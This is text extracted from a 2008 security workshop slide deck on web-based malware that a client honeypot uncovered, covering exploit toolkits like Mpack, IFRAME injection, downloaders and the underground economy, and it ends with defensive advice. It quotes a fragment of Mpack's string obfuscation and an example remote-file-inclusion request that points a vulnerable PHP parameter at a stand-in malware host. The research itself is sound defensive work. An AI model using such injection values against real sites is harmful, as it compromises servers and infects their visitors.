Joint Workshop on Security 2008, TokyoMarch 25, 2008

Revealing the Web-based Malware
with the Client Honeypots
Takahiro Matsuki
Risk Research Institute of Cyber Space
Little eArth Corporation Co., LtdMalware Trends in 2007
End of mass worm infections and large-scale incidentszzzPersonal firewalls have been deployed in whole environments“Secure by default”, Windows XP SP2 and VistaA few “Remote Root Exploit” over the past year

Malware adapted to Web 2.0zz

Attack vector is shifting to Web
Malicious scripts injected into Blogs, SNS, and general sites in searchresults

Multiple diversionary methodszz

To make users much unaware of infection
To delay malware analysis

2Copyright2008.
2008 LittleCo.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Adapted to Web 2.0
Tons of malware are targeting “Web surfers” nowWeb exploit toolkits are sold in underground economy
z Overwrite websites seems harmless and falsify
e.g. Inject IFRAME HTML tag is not easy to findz Malware exploits web browser’s vulnerabilityz

Web application vulnerabilities were exploited to setup
IFRAME-ed siteszz

Uses exclusive bots, can execute large-scale attack
Target sites are automatically selected by using the searchengines

3Copyright2008.
2008 LittleCo.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Exploit Toolkit

Examples:・In June, 2007, an malicious script is
injected more than 3000 web sites in Italy
・In October, 2007, an malicious script is
injected more than 40,000 pages of Web
sites of 150 domains in Turkey

Malware infection source moved to Web
4

Copyright
2008.
2008 LittleCo.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Mpack
27 files of PHP code, image file, data file
Exploits 9 vulnerabilities of Web Browser components,
and resolves OS (and SP) dependency
Web interface which displays statistical information based on
the IP address of the Infected Clientsz

By using Commercial IP Database

Uses the Obfuscation methodsz('WebVi'+'ewFol'+'de'+'rIc'+'on.WebVi'+'ewFol'+'derI'+'con.1') MS06-057

5Copyright2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

IcePack
Zero Day Exploit (at that time)
Exploited ActiveX Control’s vulnerability Mainly
Cheap Edition of Mpack?

6Copyright2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Why Malware comes from Web?
On Windows XP SP2, Personal firewall is enabled bydefault
Therefore, the threats of the malware infecting
through ‘Remote Root’ vulnerabilities werediminishedOn the other hand, several options are still provided
to attackers who wish to spread malware by using‘Mash-Up’ Web technologies

7

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Revealing the Web-based Malware
A Part of Research Project in CyberCleanCenterz

http://www.ccc.go.jp

We surveyed malware hosting sites bydeveloping crawler-based client honeypot,"HoneyWhales"
About 100,000 URLs were crawled for 2 weeks,
8500 URLs were hosting Malwarez

URLs were blacklisted by the Anti-Malware Organization

27,755 files, 1,921 species were captured
8

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Captured Malware specimen 1
Ratio of total

9

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Captured Malware specimen 2
species of ratio (identificated by SHA-1)

10

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

About HoneyWhales
Client Honeypotz High Interaction (Used a real client program)z

OS： Windows XP SP1, Web Browser： IE6z

Just opens blacklisted URL with the browserzDetection of downloaded and executed fileszBehavior logging
zz

CreateProcess, Create/CloseFile

Logging traffic log by proxy
Copyright
2008.
2008 LittleCo.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Structure of HoneyWhales

http-request
proxyBrowser

http-response

TracerDrivertcpdump

TraceLog

honeypotrequestget

URL_List

TraceLog
Controller

sensorcontainer

programfile

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 1 - External JavaScript

13

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 2 - window.location object

14

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 3 - Meta tag

15

Copyright2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 4 - IFRAME

16Copyright2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 5 - Location Header

17

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArth
eArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 6 - Encoded JavaScript

18

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Traffic log 7 - Downloaded Malware

19

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Outline of the Attack Using Web

20Copyright2008.
2008 LittleCo.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Analysis of the Malware specimen
Static Analysis
Used top 10 species
z 2 Fake Security Software, 2 Spyware, 6 Downloader,z

What is downloader？
zz

Malware specialized in Downloading another One from a specific host
 Downloading from a specific site or multiple sites

What is the file to download?
 According to the traffic log,

there are many cases of a downloader21Copyright2008.
2008 Little
Co.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Why downloader?
DreamDownloader
Attached to the Mpackz Generate downloader by just One-Clickz

Malware Creation Environment by Button Operation is spreading now
22

Copyright
2008.
2008 Little
Co.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Detection rate of AntiVirus
Source： Koyama, “Next generation information security policy society“, MIC, Japan

Malware infection source has moved to Web
23

Copyright
2008.
2008 Little
Co.,LtdCopyright©
©2008
LittleeArtheArthCorporationCorporationCo.,Ltd.
Co.,Ltd.

Summary of the Malware hosting-sites

Web Exploit Toolkit diffuse Malware isin Underground Market
Most of Malware infect through Web areUNKNOWN
Downloading specimens from many redirected web pagez Using a downloader in multistage and finally infect BOTz

Downloader is used for diversion And
Semiautomatic Downloader-Generator is sold24

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Building process of the Malware-hosting sites

Reason of infection through "General sites"
Enhancement of the security technologies and theories
Pervasive of “DONT browse suspicious websites"z Countermeasures at the Search Engine Companies
z Security technologies based on blacklists
zThe criminal targets general site
to diffuse Malware
26

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArth
eArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Application Attack Bot 1
Used multiple search engines and find infectable sites

Sample Queries

27

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArth
eArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Application Attack Bot 2Search Engine

Vulnerable Web application(e.g. Having RFI vulnerability)

2. Transmit URI referring

BOT to vulnerable site
1. Find vulnerable sites
by search querymalware-hosting site
(example.com)
other infected or malicious site

Index.php?ConfigFile=
http://example.com/malware.php

28

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Application Attack Bot 3
Search Engine

Vulnerable Web application(e.g. Having RFI vulnerability)

3. referring BOT(Infection act )29

malware-hosting site
(example.com)
other infected or malicious site

Copyright
2008.
2008 LittleCo.,LtdCopyright©
©2008LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Application Attack Bot 4
Search Engine

Vulnerable Web application(e.g. Having RFI vulnerability)

malware-hosting site
(example.com)
other infected or malicious site

5. Browse the search result,
accidentally Infected

4. Find general sites withsearch engine･･

general user
30

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Web Application Attack Bot detection in LAC JSOC

31

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.Flow of the Underground Business

RewardWeb service accounts

BotnetOwner

Iframer(Botnet)

payment

Crackers,
Malware writers

Internet user

infection

Online game accounts

infection

Credit card numbers

Internet user

infection

Internet user

infection

Internet user

RMT Traders

launder money
Game items
Credit card numbers
Auction IDs

CriminalNetworks

32

abuse

Copyright
2008.
2008 Little
Co.,LtdCopyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Summary“Trap sites” are built by the Web exploit
toolkitsz

Both vulnerabilities in server and client are abused

Recent malware infects stealthy
Web-based malware could evade fromAntiVirus software's detection

33

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

Solutions
DON’T make Malware-hosting site
Hardeningz Find vulnerabilities and fix it
z Attack detectionz

End-point security
Web Browser and Add-ons should be updatedz Applications can be launched from browsers tooz Use of Browser plug-ins for enhancement of security
zConstruction of CSIRTzOrganization which can Train and Research

34

Copyright
2008.
2008 LittleCo.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.

35

Copyright
2008.
2008 Little
Co.,Ltd
Copyright©
©2008
LittleeArtheArthCorporation
CorporationCo.,Ltd.
Co.,Ltd.